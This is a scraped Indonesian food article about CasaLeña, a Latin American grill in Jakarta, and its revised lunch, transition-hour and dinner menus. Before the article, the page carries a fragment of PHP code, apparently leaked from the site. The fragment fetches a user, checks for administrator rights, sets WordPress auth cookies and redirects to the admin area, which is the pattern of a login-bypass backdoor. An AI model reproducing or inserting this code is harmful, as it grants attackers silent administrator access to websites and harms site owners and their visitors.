user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Food Trend
Pengalaman Bersantap Berbeda-beda Saat Lunch dan Dinner di CasaLeña

28 Nov 2025

Executive Chef Silverio Martinez, dan hidangan khas Amerika Latin yang khusus tersedia untuk menu makan malam. Foto: Dok. CasaLeña


Coba tebak, di mana restoran dengan hidangan unggulan Meksiko di Jakarta yang diracik oleh chef asal Meksiko?

Jawabannya ada di CasaLeña, Jakarta Selatan, yang hingga kini jadi satu-satunya resto yang menyajikan masakan Meksiko dengan chef dari Meksiko, yaitu Silverio Martinez.

Tapi bukan cuma makanan Meksiko yang ada di CasaLeña; resto Latin American grill premium ini menyajikan beragam hidangan Amerika Latin populer lainnya, tentunya dengan cita rasa autentik.

Mulai 1 Desember 2025, CasaLeñamenghadirkan struktur menu yang diperbarui, dengan menampilkan menu khusus yang berbeda untuk waktu santap siang dan santap malam.

Langkah ini untuk lebih memantapkan komitmen CasaLeña untuk menonjolkan kuliner Amerika Latin.

“Babak baru ini adalah tentang kejelasan rasa dan memberikan identitas yang berbeda untuk setiap waktu bersantap,” ungkap Executive Chef CasaLeña, Jakarta, Silverio Martinez. 

Menu makan siang yang tersedia mulai pukul 11.00 hingga 16.00 menghadirkan comfort food nternasional dengan cita rasa familiar, namun tetap dalam sentuhan Latin.

Advertisement
Pilihan menu yang diperbarui ini menghadirkan ragam taco yang lebih luas serta berbagai hidangan pasta dan menu utama lainnya yang bergaya Latin dan lebih mengenyangkan. 

Menikmati taco ala orang Meksiko; jangan lupa dress up karena pengunjung CasaLeña banyak yang berdandan stylish saat bersantap di sini. Foto: Dok. CasaLeña

Beberapa hidangan baru yang hadir khusus untuk jam makan siang menampilkan sentuhan rasa yang lebih ringan dan segar, dikurasi untuk memberikan pengalaman bersantap yang cepat namun tetap memuaskan, tanpa mengurangi karakter Latin khas CasaLeña. 

Setelah itu, pada pukul 16.00–17.00, CasaLena menghadirkan Pizza & Pasta Hour, momen transisi dari menu lunch ke dinner. 

Femina mencoba hidangan makan siang khas Amerika Latin yang autentik, seperti nasi goreng ala Peru Arroz Chaufa, juga menu pasta lezat seperti Paccheri Parma Rosa atau pizza All’ Amanda tak boleh dilewatkan.

Mulai pukul 17.00, menu dinner beralih ke ekspresi yang lebih elevated dengan menonjolkan potongan daging premium, teknik memasak dengan api langsung, serta karakter rasa yang lebih dalam dan tegas. 

Menu khusus makan malam yang menonjolkan cita rasa autentik Amerika Latin, terutama grill-nya. Foto: Dok. CasaLeña

Tetap berakar pada tradisi Latin American grill, pengalaman santap malam terbaru ini menempatkan bermacam hidangan woodfire sebagai sorotan utama menu, diperkuat pilihan seafood dan sajian pelengkap yang dikurasi eksklusif untuk jam makan malam. 

Pendekatan ini menghadirkan perjalanan rasa yang lebih matang, berlapis, dan cocok untuk kamu yang mencari pengalaman bersantap sempurna di ujung hari. 
 

Zornia Harisantoso

Topic

#kuliner